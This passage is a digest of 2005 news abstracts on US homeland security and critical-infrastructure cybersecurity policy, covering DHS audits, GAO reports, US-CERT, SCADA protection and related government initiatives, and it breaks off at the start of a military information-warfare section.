The migration of microchip production outside the U.S. poses a major threat to the nation's security and economy and the Department of Defense should take the lead in efforts to rebuild the industry at home, warns a recent report from a federal advisory committee. It points to China as a beneficiary of current trends. "From a U.S. national security view, the potential effects of this restructuring are so perverse and far reaching and have such opportunities for mischief that, had the United States not significantly contributed to this migration, it would have been considered a major triumph of an adversary nation's strategy to undermine U.S. military capabilities," says the report, from the U.S. Defense Science Board Task Force on High Performance Microchip Supply, dated February 2005. The report puts renewed emphasis on a call for revitalizing U.S. chip production in the face of its continued migration overseas, and warns that losing the manufacturing end of the chip industry ultimately puts research and development at risk since, historically, "R&D tends to follow production. Report:
http://www.acq.osd.mil/dsb/reports/2005-02-HPMS_Report_Final.pdf

Category 16.3 Infrastructure protection & homeland security
2005-05-04 **NSF cyber infrastructure plan Internet2 improving security colleges universities**

EDUPAGE; <http://chronicle.com/prm/daily/2005/05/2005050401t.htm>

NSF WORKING ON CYBERINFRASTRUCTURE PLAN

Arden L. Bement Jr., director of the National Science Foundation (NSF), this week told attendees of an Internet2 meeting in Virginia that the NSF is developing a plan to support development of the nation's cyberinfrastructure, including that of colleges and universities. Bement said that funding for cyberinfrastructure is "one of the most important investments of the 21st century," though the announcement was short on specifics. The NSF's Cyberinfrastructure Interim Working Group submitted a report to Bement that reportedly outlines the details of the plan, but the agency said it will not release the report until some issues are cleared up. In his comments, Bement noted that higher education in particular is in need of improvements. What he described as six-lane superhighways for data "are reduced to two-lane roads at most college and university campuses." Such "information overload," as he called it, impedes research from being conducted efficiently. Still, Bement noted that money for the NSF "is not plentiful" and that it will likely be even scarcer in the future. Chronicle of Higher Education, 4 May 2005 (sub. req'd)

Category 16.3 Infrastructure protection & homeland security
2005-05-05 **US Computer Emergency Readiness Team US-CERT service expansion**
Department of Homeland Security

DHS IAIP Daily; <http://fcw.com/article88781-05-05-05-Web>

US-CERT EXPANDS SERVICES

The Department of Homeland Security's U.S. Computer Emergency Readiness Team (US-CERT) will offer federal agencies expanded cybersecurity alerts and threat management services. Federal employees who are designated as first responders in their agencies will have greater access to advanced warnings about cyberattacks. With such early warnings, network and computer security managers often can block incoming worm or virus attacks before they cause damage or disrupt computer network services. "We've been working for some time with public- and private-sector partners to build a better understanding of what we need by way of cyber situational awareness," said Andy Purdy, acting director of the National Cyber Security Division in DHS' Information Analysis and Infrastructure Protection Directorate. Cybersecurity officials who are members of the federal Government Forum of Incident Response and Security Teams will use the new alert and threat management services, along with existing government and commercial services, to protect federal agency networks and computer systems.

Category 16.3 Infrastructure protection & homeland security
2005-05-09 **Department Homeland Security secure network installation issue**

DHS IAIP Daily;
http://www.washingtontechnology.com/news/1_1/daily_news/2616_1-1.html

DHS SECURE NETWORK WAS RUSHED.

The Department of Homeland Security's (DHS) \$337 million network for sharing top-secret data was developed in a rush, and as a result is inadequate and does not meet the needs of its users, according to a new report by the department's Acting Inspector General Richard L. Skinner. Department officials developing the Homeland Security Secure Data Network (HSDN) hurried to finish the job in nine months because they believed they would be cut off from the Pentagon's secure data network by a December 31, 2004 deadline, the inspector general (IG) said. The IG report stated, "...the methods for collecting and documenting the functional and security needs of users during the requirements definition phase for the new network did not provide adequate assurance that user needs at the 600 sites will be met." The 600 sites referred to are DHS intelligence gathering units and federal, state and local agencies involved in homeland security. The inspector general is recommending that all system users be involved in defining its requirements in the future, and that completion of all testing be verified before deployment. Inspector General's Report: http://www.dhs.gov/dhspublic/interweb/assetlibrary/OIG_05-19_Apr05.pdf

Category 16.3

Infrastructure protection & homeland security

2005-05-18

survey Homeland Security information technology IT initiative complete

DHS IAIP Daily;

http://www.washingtontechnology.com/news/1_1/daily_news/26199-1.html

SURVEY: HOMELAND SECURITY IT INITIATIVES NEARLY COMPLETED

Most homeland security IT initiatives may be near completion for federal agencies governmentwide, according to the new 2005 Federal IT Marketing Report published by Market Connections Inc. The findings are based on a survey of 600 federal IT professionals, including 181 from Defense agencies, 44 from the Department of Homeland Security and 375 from other civilian agencies. Anti-terrorism IT projects appear to be in the final stages. Forty-six percent of the respondents said they had completed at least 75 percent of their homeland security IT initiatives. The five most important homeland security IT initiatives reported were IT security, physical security, disaster recovery, threat assessments and threat response. The least important IT initiatives were information-sharing with the public, support of state and local agencies, information-sharing between agencies and adapting existing technology, the report said. Report: http://www.marketconnectinc.com/IT_report.html

Category 16.3

Infrastructure protection & homeland security

2005-05-26

Government Accountability Office GAO critical infrastructure protection DHS report

DHS IAIP Daily; <http://www.gao.gov/new.items/d05434.pdf>

CRITICAL INFRASTRUCTURE PROTECTION: DEPARTMENT OF HOMELAND SECURITY FACES CHALLENGES IN FULFILLING CYBERSECURITY RESPONSIBILITIES (REPORT)

GAO was asked to determine (1) DHS's roles and responsibilities for cyber critical infrastructure protection, (2) the status and adequacy of DHS's efforts to fulfill these responsibilities, and (3) the challenges DHS faces in fulfilling its cybersecurity responsibilities. DHS established the National Cyber Security Division to take the lead in addressing the cybersecurity of critical infrastructures. While DHS has initiated multiple efforts to fulfill its responsibilities, it has not fully addressed any of the 13 responsibilities, and much work remains ahead. DHS established the US-CERT as a public/private partnership to make cybersecurity a coordinated national efforts. However, DHS has not yet developed national cyber threat and vulnerability assessments or government/industry contingency recovery plans for cybersecurity, including a plan for recovering key Internet functions. DHS faces a number of challenges which include achieving organizational stability, gaining organizational authority, overcoming hiring and contracting issues, increasing awareness about cybersecurity roles and capabilities, establishing effective partnerships with stakeholders, achieving two-way information sharing with these stakeholders, and demonstrating the value DHS can provide. Until it confronts and resolves these underlying challenges and implements its plans, DHS will have difficulty achieving significant results in strengthening the cybersecurity of our critical infrastructures. Highlights:

<http://www.gao.gov/highlights/d05434high.pdf>

Category 16.3

Infrastructure protection & homeland security

2005-05-26

GAO report DHS unprepared computer cybersecurity

EDUPAGE; http://news.com.com/2100-7348_3-5722227.html

GAO SAYS DHS UNPREPARED FOR CYBERSECURITY

The Government Accountability Office (GAO) has issued a report strongly critical of the readiness of the Department of Homeland Security (DHS) to deal with threats to the nation's cybersecurity. According to the report, DHS "has not fully addressed any" of 13 areas of cybersecurity, including bot networks, criminal gangs, foreign intelligence services, spammers, and spyware. "DHS cannot effectively function as the cybersecurity focal point intended by law and national policy," said the authors of the report. During the past year, DHS has seen the departure of a number of high-level officials, including the director and deputy director of Homeland Security's National Cyber Security Division, the undersecretary for infrastructure protection, and the assistant secretary responsible for information protection. A representative of DHS refuted the GAO's findings, saying that DHS has made improvements to the "nation's cybersecurity posture." He noted that DHS, as a new federal agency, measures progress in nonquantitative, less formal ways. CNET, 26 May 2005

Category 16.3 Infrastructure protection & homeland security
2005-05-31 **FBI DHS Homeland Security cell phones airplane objection anti-terrorism FCC**
DHS IAIP Daily; http://news.zdnet.com/2100-1035_22-5726850.html
FBI AND DHS OBJECT TO CELL PHONES ON AIRPLANES

The FBI and Department of Homeland Security (DHS) are objecting to a proposal to permit the use of cellular telephones and other wireless devices on airplanes. Unless telecommunications providers follow a lengthy list of eavesdropping requirements for calls made aloft, the FBI and DHS don't want cellular or wireless connections to be permitted. In a letter to the Federal Communications Commission (FCC) sent last Thursday, May 26, the police agencies said any rule permitting "in-flight personal wireless telephone use must consider public safety and national security" concerns. At the moment, technical and social reasons keep cell phones muted during flight. The FCC is considering proposals to relax those restrictions. The FBI and DHS say that the 1994 Communications Assistance for Law Enforcement Act, or CALEA, requires that airlines follow strict wiretapping guidelines. The police agencies, for instance, want to be able to eavesdrop on conversations no "more than 10 minutes" after the call is made. "There is a short window of opportunity in which action can be taken to thwart ... crisis situations onboard an aircraft, and law enforcement needs to maximize its ability to respond to these potentially lethal situations," the agencies say in their letter. Letter to FCC: http://www.askcalea.com/docs/20050526_doj_fcc-wt-04-435.pdf

Category 16.3 Infrastructure protection & homeland security
2005-06-06 **DHS funding cybersecurity research Idaho National Laboratory INL critical infrastructure protection**

DHS IAIP Daily; <http://www.dhs.gov/dhspublic/display?content=4532>
IDAHO NATIONAL LABORATORY RECEIVES SECOND ROUND OF HOMELAND SECURITY FUNDING FOR CYBER THREAT REDUCTION PROGRAM

The U.S. Department of Energy's Idaho National Laboratory (INL) received a second round of funding this week from U.S. Department of Homeland Security to continue a multi-year cyber security program. The Control System Security Center will receive \$11.7 million in 2005 to continue its efforts to secure the computer-aided control systems that operate the nation's critical infrastructures. Control systems are the digital automation systems that operate infrastructures such as the electric power grid, oil and gas refineries, and telecommunication systems. "This year we plan to focus our efforts on establishing baseline security assurance levels and cyber recommendations to increase industry security," said Julio Rodriguez, INL department manager for Critical Infrastructure Assurance. "We're at the point where industry is beginning to recognize the potential threats of unsecured control systems and they are more willing to work with government agencies to improve the security of the nation's critical infrastructures." The Department of Homeland Security selected INL for this project because of its expertise in design, assessments and operational management of control systems across several industrial sectors.

Category 16.3 Infrastructure protection & homeland security
2005-06-09 **DHS lacking disaster backups TSA Coast Guard insufficient money management**
DHS IAIP Daily; <http://www.nytimes.com/2005/06/09/politics/09home.html>
INTERNAL AUDIT FINDS DHS IS LACKING DISASTER BACKUPS

An internal inspector general audit released on Wednesday, June 8, concluded the computer systems at 19 Department of Homeland Security (DHS) sites that served agencies like the Transportation Security Administration, Customs and Border Protection and the Coast Guard had no functioning backups or relied on obviously deficient or incomplete backups. Even the Federal Emergency Management Agency, which is in charge of disaster recovery, was unprepared, the report said. The department "must be able to provide mission-essential services with minimal disruption following a disaster," the report said. Adequate backups were lacking for networks that screen airline passengers, that inspect goods moving across borders and that communicate with department employees and outside officials. Those same agencies, the auditors found, have in most cases failed to prepare sufficiently written disaster recovery plans that would guide operations if a main office or computer system was knocked out. The problems, the audit said, are insufficient money and insufficient management attention. "We recognize that information-technology continuity is important to lead an effective recovery, which is why we are developing a plan to ensure critical systems continuity," a spokesperson, Brian Roehrkasse, said. Inspector General's Report: http://www.dhs.gov/interweb/assetlibrary/OIGr_05-22_May05.pdf

Category 16.3 Infrastructure protection & homeland security
2005-06-13 **US dumps drops ditches biometric passport requirement UK DHS terrorism anti-terrorism civil liberties privacy concerns**

EDUPAGE; http://www.theregister.com/2005/06/13/us_bio_passports/
U.S. EXPECTED TO DITCH BIOMETRIC PASSPORT REQUIREMENT

Government officials in the United Kingdom are optimistic that the United States will withdraw an upcoming requirement that individuals traveling under the Visa Waiver program have biometric passports. The program allows people from 27 countries to make short visits to the United States without a visa. The U.S. Department of Homeland Security had issued a ruling that participants in the Visa Waiver program would be required to have biometric identifying information added to their passports by October 2004, which was extended to October 2005. Officials in Ireland have put on hold their efforts to comply with the regulation, believing that U.S. officials have come to see the technology as sufficiently unreliable to compel its use by this fall. Critics of biometric technology also point to the possibility that such information could be used to violate individuals' civil liberties. The Register, 13 June 2005

Category 16.3 Infrastructure protection & homeland security
2005-06-17 **Homeland Security Information Network critical infrastructure protection retailers join**

DHS IAIP Daily;
http://www.washingtontechnology.com/news/1_1/homeland/26420-1.html

RETAILERS JOIN HOMELAND SECURITY INFORMATION NETWORK

Retailers are among the industry groups being invited to join a recent incarnation of the federal Homeland Security Information Network (HSIN) specifically intended for critical infrastructure owners and operators and designed to help share unclassified information to guard against terrorist attacks. The National Retail Federation (NRF) has recruited executives from nearly 100 retail companies to participate in the network, called HSIN-CL, the trade group said in a press release. The information network is a composite of several regional networks that share information among law enforcement, fire departments, local government agencies and businesses. Technologies used within the network include wired and wireless telephones, e-mail, facsimiles, and text pagers to share alerts and notifications. The network sends real-time information to its members, may be used "to discuss day-to-day security issues" and "to share information on suspicious activities with federal authorities" according to the NRF release. Other industry sectors, including the chemical industry, ports and financial services, are expected to participate in the HSIN-CL as well. NRF news release: <http://www.nrf.com/content/press/release2005/hsin0605.htm>

Category 16.3 Infrastructure protection & homeland security
2005-06-20 **USAPATRIOT Act surveillance search seizure constitutional rights warrants investigation counter-terrorism civil rights libraries reading**

RISKS; <http://www.nytimes.com/2005/06/20/politics/20patriot.html?> 23 91
LEOs MONITOR READING MATERIALS

Law enforcement officials have made at least 200 formal and informal inquiries to libraries for information on reading material and other internal matters since October 2001, according to a new study that adds grist to the growing debate in Congress over the government's counterterrorism powers. In some cases, agents used subpoenas or other formal demands to obtain information like lists of users checking out a book on Osama bin Laden. Other requests were informal -- and were sometimes turned down by librarians who chafed at the notion of turning over such material, said the American Library Association, which commissioned the study. [Source: Eric Lichtblau, *The New York Times*, 20 Jun 2005; Abstract by Peter G. Neumann]

Category 16.3

2005-07-19

Infrastructure protection & homeland security

GAO Infrastructure Protection DHS summarize work status challenges cybersecurity recommendations

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/36434-1.html

CRITICAL INFRASTRUCTURE PROTECTION: CHALLENGES IN ADDRESSING CYBERSECURITY (TESTIMONY)

The Homeland Security Act of 2002 and federal policy established the Department of Homeland Security (DHS) as the focal point for coordinating activities to protect the computer systems that support our nation's critical infrastructures. GAO was asked to summarize previous work, focusing on (1) DHS's responsibilities for cybersecurity-related critical infrastructure protection (CIP), (2) the status of the department's efforts to fulfill these responsibilities, (3) the challenges it faces in fulfilling its cybersecurity responsibilities, and (4) recommendations GAO has made to improve 13 cybersecurity of our nation's critical infrastructure. While DHS has initiated multiple efforts to fulfill its responsibilities, it has not fully addressed any of the 13 responsibilities, and much work remains ahead. The department established the US-CERT as a public/private partnership to make cybersecurity a coordinated national effort, and it established forums to build greater trust and information sharing among federal officials with information security responsibilities and law enforcement entities. However, DHS has not yet developed national cyber threat and vulnerability assessments or government/industry contingency recovery plans for cybersecurity, including a plan for recovering key Internet functions.

Category 16.3

2005-07-20

Infrastructure protection & homeland security

Government News DHS IT Department of Homeland Security congressional NCSD

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/36434-1.html

DHS TO MOUNT MAJOR IT SECURITY EXERCISE

The Department of Homeland Security plans to conduct a major cybersecurity preparedness and response exercise to be called Cyber Storm in November, a department official said in congressional testimony Tuesday, July 19. Andy Purdy, acting director of DHS' National Cyber Security Division (NCSD), described Cyber Storm as "a national exercise" during a hearing of the Senate Homeland Security and Governmental Affairs Subcommittee on Federal Financial Management, Government Information and International Security. According to written testimony Purdy presented, the division has worked with the Justice and Defense departments to help form the National Cyber Response Coordination Group (NCRCG). "The NCRCG has developed a concept of operations for national cyber incident response that will be examined in the National Cyber Exercise, Cyber Storm, to be conducted by NCSD in November 2005 with public and private-sector stakeholders."

Category 16.3

2005-08-01

Infrastructure protection & homeland security

DHS government agency business vendor law improve security SAFETY Act

EDUPAGE; http://news.zdnet.com/2100-1009_22-5814289.html

DHS URGES INDUSTRY TO USE LAW TO IMPROVE SECURITY

Following the terrorist attacks of September 2001, Congress passed a law designed to encourage private-sector research into security technology, but so far, relatively few companies have taken advantage of the law, according to the Department of Homeland Security (DHS). Michael Chertoff, secretary of DHS, said that despite the provisions of the Support Anti-Terrorism by Fostering Effective Technologies (SAFETY) Act of 2002, which shields approved companies from civil litigation if their technologies fail to perform, only 17 products and services have earned the law's highest level of protection. None of the 17 specifically focuses on information technology security. To increase the nation's security infrastructure, said Chertoff, "we have to look beyond the walls of DHS itself, to the private sector and to the world of high tech." Chertoff pointed to technologies currently used to screen airline passengers as one area that needs attention, saying that current screening is at a "basic, primitive" stage. ZDNet, 1 August 2005

Category 16.3 Infrastructure protection & homeland security
2005-08-02 **terrorism cyberterrorists copy hacker tactics information cyber warfare security government**

DHS IAIP Daily; http://www.techweb.com/wire/security/167100173#_

TERRORISTS COPYING HACKER TACTICS.

Cyber-terrorists are trying to break into government networks around the world using the same tactics as run-of-the-mill hackers, a U.S. State Department official said Tuesday, August 2. "The same technique that a hacker would use, the same technology, will be utilized by somebody with a different political motivation," Michael Alcorn, branch chief of the State Department's Office of Anti-Terrorism Assistance, in a statement made to the AFP wire service in Kuala Lumpur on Tuesday. The Office of Anti-Terrorism Assistance trains foreign law enforcement personnel on a variety of terrorism-related topics, including cyber-security. "The problem we're all facing is a global borderless problem, where attacks can occur anywhere in the world and originate from anywhere else in the world," Alcorn told the AFP. He went on to say that cyber-security problems and resulting terrorist activity was widespread, and claimed that some of the evidence of attacks has come from overseas law enforcement agencies which have confiscated militants' computers. "They're finding evidence on these computers that indicates militants have looked into or are researching this type of technology," Alcorn said.

Category 16.3 Infrastructure protection & homeland security
2005-08-03 **DHS SAFETY Act anti-terrorism civil lawsuit immunity**

DHS IAIP Daily; http://news.zdnet.com/2100-1009_22-5814289.html

DHS CALLS FOR TECH INDUSTRY INVOLVEMENT

Support Anti-Terrorism by Fostering Effective Technologies (SAFETY) Act of 2002 provides government-authorized companies with immunity from civil lawsuits if their anti-terrorism products fail to perform. In order to get on the approved list, companies must first go through a two-step application process. But only 17 offerings -- none related to information technology -- have received such approval. In a speech at the Commonwealth Club in Santa Clara, CA, Thursday, July 29, Department of Homeland Security (DHS) Secretary Michael Chertoff said the newly created position of assistant secretary for Cyber and Telecommunications Security would be in charge of stepping up the government's collaboration with tech companies. So far, none of the approved services pertain specifically to information technology security. The latest technology to make the list was a cargo container inspection system for use at ports. DHS is eyeing technological advances to beef up border enforcement, emergency preparedness, transportation and cybersecurity, Chertoff said. "But there is a way forward," Chertoff said, pointing to high-tech biometric identifiers and radio frequency identification tags as potential new avenues for screening. A transcript of Secretary Chertoff's remarks is available on the DHS Website:
<http://www.dhs.gov/dhspublic/display?content=4700> More about the SAFETY Act of 2002:
<https://www.safetyact.gov/DHS/SActHome.nsf/Main?OpenFrameset&6EWVEC>

Category 16.3 Infrastructure protection & homeland security
2005-08-11 **DHS report private vendor domestic security improvement businesses**

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,103827,00.html>

BUSINESSES NEED TO FOCUS ON CYBERSECURITY

The Department of Homeland Security (DHS) will focus significant efforts on cybersecurity and on working with private vendors to develop technologies designed to provide domestic security in the coming months, DHS Secretary Michael Chertoff said Wednesday, August 10. Chertoff, speaking at the InfraGard National Conference in Washington, DC, also called on private companies to make more of an effort to protect their cyberinfrastructures. He also said more incentives are needed for IT vendors to focus on cybersecurity. InfraGard is an organization started by the FBI to improve information sharing about critical infrastructure between the U.S. government and private industry. One incentive for private companies to develop cybersecurity products would be to institute legal reforms that limit damages from product lawsuits, Chertoff said. As an example, he cited the Support Anti-terrorism by Fostering Effective Technologies Act of 2002, which limits liability for products designed to combat terrorism. But he said Congress should go further in protecting companies from product lawsuits. However, private companies should already have good reasons to protect their infrastructures, he said. "In today's threat environment, active security measures are critical to businesses themselves, because the cost of an attack will very, very greatly outweigh the cost of protection." InfraGard 2005 National Conference: <http://www.infragardconferences.com/>

<i>Category 16.3</i>	<i>Infrastructure protection & homeland security</i>			
2005-09-16	national security policy critical infrastructure report vulnerabilities weakness testimony Congress committee information warfare physical attack counter-terrorism Internet robustness resilience cooperation			
RISKS; http://www.house.gov/science/press/109/109-129.htm		24	04	
CIOs WARN CONGRESSIONAL COMMITTEE OF CRITICAL INFRASTRUCTURE VULNERABILITIES				
On Sep 15, 2005, CIOs of several major US corporations warned the House Science Committee "the nation's critical infrastructure remains vulnerable to cyber attack. The witnesses said the economy is increasingly dependent on the Internet and that a major attack could result in significant economic disruption and loss of life."				
....				
"Urging action to address this vulnerability, the witnesses advocated increased funding for cybersecurity research and development (R&D) and greater information sharing between industry and government and among various sectors of industry. Witnesses also urged greater federal attention to cybersecurity and praised the creation of an Assistant Secretary for Cybersecurity at the Department of Homeland Security (DHS)."				
....				
>[Mr. John Leggate, Chief Information Officer, British Petroleum Inc.] testified that an informal survey earlier this year found that executives in the telecommunications, energy, chemical, and transportation sectors estimated that about 30 percent of their revenue depends directly on the Internet. He also said that, because of interdependency among various industry sectors, a single attack could reverberate throughout the global economy: "These cascading dependencies all too quickly create 'domino effects' that are not obvious to the corporate customer or the policymaker."<				

[Extracts by MK]

<i>Category 16.3</i>	<i>Infrastructure protection & homeland security</i>			
2005-10-07	Federal Computer Week Armstrong DHS CIO DHS deputy sharing management screening			
DHS IAIP Daily; http://www.fcw.com/article91039-10-07-05-Web				
ARMSTRONG NAMED DHS DEPUTY CIO				
Charles Armstrong, the CIO of the Department of Homeland Security's (DHS) Border and Transportation Security Directorate, has been named as the department's new deputy CIO. Armstrong will help DHS work with industry on identity-management issues, including information sharing, case management and passenger screening.				
<i>Category 16.3</i>	<i>Infrastructure protection & homeland security</i>			
2005-10-20	security evaluation legal ruling court judgement shut down denial-of-service DoS government agency department			
http://sfgate.com/cgi-bin/article.cgi?file=/n/a/2005/10/20/national/w145958D47.DTL				
US DEPT OF INTERIOR ORDERED OFF THE 'NET				

Security expert Stephen Cobb, CISSP writes, "The US Department of the Interior has spent \$100 million on security improvements in the last 3 years but still gets an "F" for security and so has to stay off the 'net until it can prove the data on its network is safe." A story by Jennifer Talhelm, AP writer, begins, "A judge ordered the Interior Department to disconnect from the Internet all computer equipment holding data related to trust accounts it manages for American Indians, a decision that could cripple large sections of the agency's computer network. In a 205-page opinion declaring the department's computer security 'disorganized and broken,' U.S. District Judge Royce Lamberth on Thursday (2005/10/20) said the order applies to all networks with access to trusted data -- from servers to BlackBerrys -- except what is necessary to protect from fire or threats to life, property or national security."

Category 16.3 Infrastructure protection & homeland security
2005-10-27 **US Presidential executive order inter-agency information sharing**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37432-1.html

EXECUTIVE ORDER BOLSTERS INFORMATION-SHARING AMONG AGENCIES

On Tuesday, October 25, President Bush issued Executive Order 13356 that restructures information-sharing responsibilities among agencies combating terrorism. The Order grants authority to the Office of the Director of National Intelligence. Executive Order 13356: <http://www.whitehouse.gov/news/releases/2005/10/20051025-5.html>

Category 16.3 Infrastructure protection & homeland security
2005-10-28 **US SCADA systems protection security industrial control critical infrastructure homeland security**

DHS IAIP Daily; <http://www.securityfocus.com/news/11351>

U.S. MAKES SECURING SCADA SYSTEMS A PRIORITY

Wary of the increasing number of online attacks against industrial control systems, the U.S. government has stepped up efforts to secure the systems used to control and monitor critical infrastructure, such as power, utility, and transportation networks. Andy Purdy, acting director of the National Cyber Security Division at the Department of Homeland Security (DHS), stated, "The exposure of these systems to malicious actors in cyberspace is greater than in the past, because these systems are more often connected to the Internet. With the profit margins of many of the owners and operators, it is a challenge to convince them to spend to reduce the risk." DHS has become increasingly concerned over the lack of security of such control networks -- among which the best known is the supervisory control and data acquisition (SCADA) system -- because the majority of such control systems are owned by private companies and are increasingly being interconnected to improve efficiency.

Category 16.3 Infrastructure protection & homeland security
2005-11-02 **DHS IT system audit report systems uncertified unaccredited FISMA**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37474-1.html

DHS'S INSPECTOR GENERAL AUDITS IT SYSTEMS

An audit by the Department of Homeland Security's inspector general, Richard L. Skinner, found that many of the department's IT systems remain uncertified and unaccredited, while plans to correct weaknesses are undeveloped. The report also said contingency plans have not been developed and tested for all systems, and added that tools used to measure progress are neither complete nor current. "We recommend that DHS continue to consider its information security program a significant deficiency for [fiscal] 2005," the report concluded. DHS officials agreed with the recommendations and, according to the report, have developed remediation plans for fiscal 2006. Skinner evaluated DHS' compliance with the Federal Information Security Management Act of 2002, which focuses on program management, implementation and evaluation of the security of unclassified and national security IT systems. The department has made progress on several fronts, including developing so-called Plans of Action and Milestones, as well as a Trusted Agent FISMA tool to collect and track data related to FISMA compliance. Report: http://www.dhs.gov/interweb/assetlibrary/OIG_05-46_Sep05.pdf

Category 16.3 Infrastructure protection & homeland security
2005-11-07 **infrastructure collapse natural disaster hurricane Katrina telecom weak link**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37515-1.html

TELECOM INFRASTRUCTURE IS WEAK LINK IN DISASTERS

During Hurricane Katrina, getting enough power was a major issue for the Gulf Coast telecom providers, as was keeping the basic infrastructure running and providing physical security for workers and equipment. A recent Federal Communications Commission meeting with two telecommunication providers revealed that outages in physical infrastructure remains a problem for networks in disaster situations. Anthony Melone, vice president of network operations support for Verizon Wireless stated that Katrina "was probably the most severely impacted situation that we've experienced...There were a lot of unique learning experiences." Verizon Wireless' cellular phone coverage for Alabama, Louisiana, and Mississippi dipped to less than 50 percent of its full coverage, and about six percent of BellSouth's customer base -- about 1.2 million users -- lost landline telephone usage.

Category 16.3 Infrastructure protection & homeland security
2005-11-11 **US government IT infrastructure security anti-terrorism DHS information sharing**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37550-1.html

INFORMATION TECHNOLOGY SECTOR COORDINATING COUNCIL DEBUTS

A newly formed Information Technology Sector Coordinating Council -- consisting of owners and operators of critical information technology (IT) infrastructures -- will work with the Department of Homeland Security (DHS) to safeguard the IT sector from terrorist attacks. IT industry leaders have been organizing the group for several months under the guidance of Homeland Security Presidential Directive-7 and DHS. Under the National Infrastructure Protection Plan, private-sector owners in each of 17 critical sectors -- IT, water, energy, food, banking, and transportation -- have been advised to self-organize and to create sector coordinating councils to share information with a lead government agency for their sector. For IT, the lead agency is DHS.

Category 16.3 Infrastructure protection & homeland security
2005-11-28 **US government agencies CIA cybersecurity expert recommendation monitor insider network threats**

DHS IAIP Daily; http://www.gcn.com/vol1_no1/daily-updates/37654-1.html

AGENCIES MUST MONITOR INSIDER NETWORK THREATS, EXPERT SAYS

Agency networks are more vulnerable than ever, according to a former Central Intelligence Agency (CIA) official and cybersecurity expert, and the greatest threat to an organization's network security may come from within. Eric Cole, who worked for the CIA for more than five years, told an audience of government and corporate security professionals Monday, November 28, at the inaugural Techno Forensics Conference at the National Institute of Standards and Technology that despite their best efforts, networks are only getting more porous. Cole said an emerging threat for organizations is that the emphasis on thwarting outside attacks and tracing their origins has led them to overlook the insider threat. In several recent cases, organizations conducted preliminary forensic examinations after network incidents and identified employees as being responsible. Aside from network insecurity, Cole said agencies need to have standardized procedures for computer forensics. A lack of standardized procedures for computer forensics, he warned, will jeopardize organizations' abilities to use forensic examinations at trial.

Category 16.3 Infrastructure protection & homeland security
2005-12-02 **DHS software vulnerability flaw database grading system**

DHS IAIP Daily; <http://www.securityfocus.com/news/11360>

FEDERAL FLAW DATABASE COMMITS TO GRADING SYSTEM

A federal database of software vulnerabilities funded by the U.S. Department of Homeland Security has decided on a common method of ranking flaw severity and has assigned scores to the more than 13,000 vulnerabilities currently contained in its database, the group announced last week. The National Vulnerability Database (NVD), unveiled in August, completed its conversion over to the Common Vulnerability Scoring System (CVSS), an industry initiative aimed at standardizing the severity rankings of flaws. The CVSS gives vulnerabilities a base score based on their severity, a temporal score that measures the current danger -- which could be lessened by a widely available patch, for example -- and an environmental score that measures an organization's reliance on the vulnerable systems. The move to the CVSS gives the flaw-ranking initiative a major boost. Created by security researchers at networking giant Cisco, vulnerability management software provider Qualys and security company Symantec, the CVSS has not been used widely, though many companies are considering scoring flaws with the system. To date, no software vendor has yet graded vulnerabilities in its product using the CVSS.

Category 16.3 Infrastructure protection & homeland security
2005-12-05 **DHS large-scale disaster recovery research center John Hopkins University terrorism anti-terrorism**

EDUPAGE; http://www.govtech.net/magazine/channel_story.php/97475

DHS PICKS JOHNS HOPKINS FOR DISASTER PREPAREDNESS

The Department of Homeland Security (DHS) has chosen Johns Hopkins University to lead an effort to investigate nationwide preparedness for and response to large-scale disasters. The Center for the Study of High Consequence Event Preparedness and Response will look at ways the country can prevent and manage disasters, particularly through the interactions of networks and through models and simulations. The center will address issues including risk assessment, decision making, infrastructure integrity, surge capacity, and sensor networks. The center is the fifth Center of Excellence, administered by DHS's Office of University Programs and dedicated to university-based interdisciplinary research. Michael Chertoff, secretary of Homeland Security, said Johns Hopkins will "lead a talented and deeply experienced team of professionals from institutions across the country" to help prevent and respond to "high-consequence disasters or terrorist attacks."

Government Technology, 5 December 2005

Category 16.3 Infrastructure protection & homeland security
2005-12-13 **Cyber Security Industry Alliance CSIA federal government DHS rating D+**

EDUPAGE; <http://www.few.com/article91710-12-13-05-Web>

CSIA GIVES FEDS D+ ON CYBERSECURITY

In a report card released by the Cyber Security Industry Alliance (CSIA), the federal government received a grade of D+ for cybersecurity. CISA gave credit to the Department of Homeland Security for establishing a new position, the assistant secretary for cybersecurity. Six months after that job was created, however, it remains unfilled. Paul Kurtz, executive director of CSIA, commented that "Cybersecurity research is in a crisis." CSIA also launched what it calls a Digital Confidence Index, a measure of public confidence in efforts to protect computers and systems. The initial rating for the index is 58 out of 100. CSIA issued a set of 13 recommendations, called the National Agenda for Information Security in 2006, designed to improve the nation's cybersecurity. Among the recommendations are calls to increase funding for cybersecurity research and to promote cooperation among federal agencies. Federal Computer Week, 13 December 2005

16.4 Military & government perspectives on INFOWAR

Category 16.4

Military & government perspectives on INFOWAR

2005-02-28

cyberdefense antiterrorism command center Joint Task Force-Global Network Operations (JTF-GNO) military computer network DoD

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0221/web-jtfg-02-25-05.asp>

CYBER WARRIOR ANTICIPATE CENTER.

Personnel in the military's new cyberdefense organization hope to operate a new command center by late spring. The facility will include new hardware and software to help workers of the Joint Task Force-Global Network Operations (JTF-GNO) operate, manage and defend the military's 10 computer networks. "It will be a state-of-the-art facility," said Army Brig. Gen. Dennis Via, deputy commander of the JTF-GNO. He spoke Wednesday, February 23 at the Department of Defense Global Information Grid Enterprise Services conference held by the Association for Enterprise Integration, an industry trade group. The opening of the new command center coincides with JTF-GNO becoming fully operational.

Category 16.4

Military & government perspectives on INFOWAR

2005-04-07

US official warning Chinese intelligence Latin South America trade economic cyberwarfare capability Level-1 INFOWAR

DHS IAIP Daily; <http://www.miami.com/mld/miamiherald/11332057.htm>

U.S. OFFICIALS WARN OF CHINESE INTELLIGENCE AND CYBERWARFARE ROLES IN LATIN AMERICA

